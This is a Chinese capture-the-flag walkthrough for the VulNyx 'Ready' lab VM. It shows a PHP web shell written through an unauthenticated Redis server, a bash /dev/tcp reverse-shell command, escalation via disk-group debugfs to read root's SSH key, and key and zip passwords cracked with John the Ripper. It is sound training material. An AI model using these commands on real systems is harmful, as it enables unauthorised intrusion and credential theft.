靶机:通过百度网盘分享的文件:VulNyx - Ready.ova
链接:https://pan.baidu.com/s/1WY1rPqPfjzC0uMYZu4ac3w?pwd=6666
提取码:6666
靶场地址:VulNyx: Free Cybersecurity Platform | Enthusiasts & Professionals
靶机下载好后,我用VMware打开,取名为ready,我直接设成了NAT模式了
虚拟网络编辑器为
打开Kali,登录root账户,查看Kali的IP为192.168.33.133
启动靶机,可以看到一个IP,大功率就是靶机IP了,以防万一,还是扫一下
Nmap简单扫描下,根据经验很容易推断出192.168.33.128就是靶机IP
现在进行深度扫描下
访问下网页,翻译看看,没啥用
用feroxbuster来进行目录和文件爆破下,查找潜在的隐藏目录或文件:
feroxbuster -u http://192.168.33.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
没有什么有用的信息,换个端口看看,除了80和8080端口,有一个特别的端口6379,这个端口是Redis数据库的默认端口号,Redis默认情况下不设置密码认证,所以可以尝试连接Redis服务器。
可以成功连接:redis-cli -h 192.168.33.128,基础操作有:
config set dir /var/www/html:
这会将 Redis 的数据持久化目录设置为 /var/www/html。这个目录通常用于托管 Web 内容,这意味着 Redis 将尝试在这个目录下写入其数据库文件。
config set dbfilename webshell.php:
这会将 Redis 的数据持久化文件名设置为 webshell.php。结合前面的 dir 配置,Redis 将尝试在 /var/www/html/webshell.php 中写入其数据。
set test "<?php system($_GET['cmd']);?>":
这会在 Redis 中设置一个键 test,其值为一个 PHP Webshell 代码片段。这个代码片段可以执行服务器上的任意命令。
save:
这会触发 Redis 将其当前数据持久化到磁盘。由于你之前设置了 dir 和 dbfilename,这将导致 Redis 将包含 Webshell 代码的数据库写入 /var/www/html/webshell.php。
访问下是否成功,现在已经成功让 Redis 创建了 webshell.php
文件,这个警告表明 PHP 的 system()
函数收到了一个空的命令。这通常是因为在访问 webshell.php
文件时,没有正确传递 cmd
参数,或者传递了一个空值。system()
函数需要接收一个有效的命令才能执行。
http://192.168.33.128:8080/webshell.php?cmd=ls查看下,看到的输出中包含了一些 Redis 数据库文件格式的信息(如 REDIS0009
, redis-ver
, redis-bits
等),这说明 Redis 已将数据写入磁盘并生成了对应的文件。这部分输出其实是 Redis RDB 文件格式的一部分,这个文件不仅包含了 Webshell 代码,还包含了 Redis 的一些元数据。
既然可以长传命令了,那么直接反弹shell,开启6666端口监听:nc -lvnp 6666
将bash -c "bash -i >& /dev/tcp/192.168.33.133/6666 0>&1"用在线URL编码进行编码得到:
bash%20-c%20"bash%20-i%20>%26%20/dev/tcp/192.168.33.133/6666%200>%261"
接着访问
此时监听到了
经过一番寻找,找到一个关键信息user.txt
在 /etc/passwd
文件中,列出了系统中的所有用户和它们的基本信息。关键信息有:
-
root 用户:
- 用户名:
root
- 用户 ID:
0
- 主目录:
/root
- 使用的 Shell:
/bin/bash
- 用户名:
-
peter 用户:
- 用户名:
peter
- 用户 ID:
1001
- 主目录:
/home/peter
- 使用的 Shell:
/bin/bash
- 用户名:
-
ben 用户:
- 用户名:
ben
- 用户 ID:
1000
- 主目录:
/home/ben
- 使用的 Shell:
/bin/bash
- 用户名:
-
redis 用户:
- 用户名:
redis
- 用于运行 Redis 服务,权限较低。
- 用户名:
查看下shadow,因为它保存了用户的加密密码,显然访问不了
id后发现了ben
用户隶属于 disk
组,通常意味着他对某些磁盘设备或磁盘上的文件具有访问权限。在某些系统配置中,加入 disk
组的用户可以直接访问磁盘设备文件(如 /dev/sda
等),这可能带来一些有趣的提权机会。
-
磁盘未满:主分区
/dev/sda1
还有 5.1G 的可用空间,使用率仅为 23%,系统磁盘空间尚充裕。 -
可能的提权途径:
- 由于
ben
用户属于disk
组,可以有权限访问/dev/sda1
设备文件,理论上可以直接读写磁盘内容。可以通过挂载未使用的分区,或者尝试低级别访问设备文件进行进一步的操作。
- 由于
发现不能挂载,得另辟蹊径了
我们用debugfs这个工具,它是一个用于调试 ext2/ext3/ext4 文件系统的工具。由于ben在 disk
组,理论上可以使用 debugfs
对磁盘分区进行操作,这为我们提供了一个不需要超级用户权限的潜在提权路径。
挂载 /dev/sda1
驱动器后,直接读取rsa 密钥。
在桌面创建rsa.txt,粘贴复制前面的rsa密钥
接下来我用John the Ripper来破解,先将加密的 RSA 私钥文件转换为 John the Ripper
能识别的格式:/usr/share/john/ssh2john.py rsa.txt > rsa_hash.txt,
解密:john rsa_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
解出来的密码是:shelly,生成了未加密的 RSA 私钥文件 rsa_d.txt
直接连接:ssh -i rsa_d.txt root@192.168.33.128
发现root.zip,下载下来解压看看
scp -i rsa_d.txt root@192.168.33.128:/root/root.zip /home/xb/Desktop/
很遗憾,并不知道密码是多少
将 root.zip
文件中的密码哈希值提取出来,并将其保存到 root_hash.txt
文件中:
zip2john root.zip > root_hash.txt
对哈希值进行解密:
john root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
成功破解了密码:already
到此两个flag找了,不容易啊,每次打靶总是弯弯绕绕,不仅需要细心,更需要耐心,每一次的总结要为下一次做好准备,下个靶机见。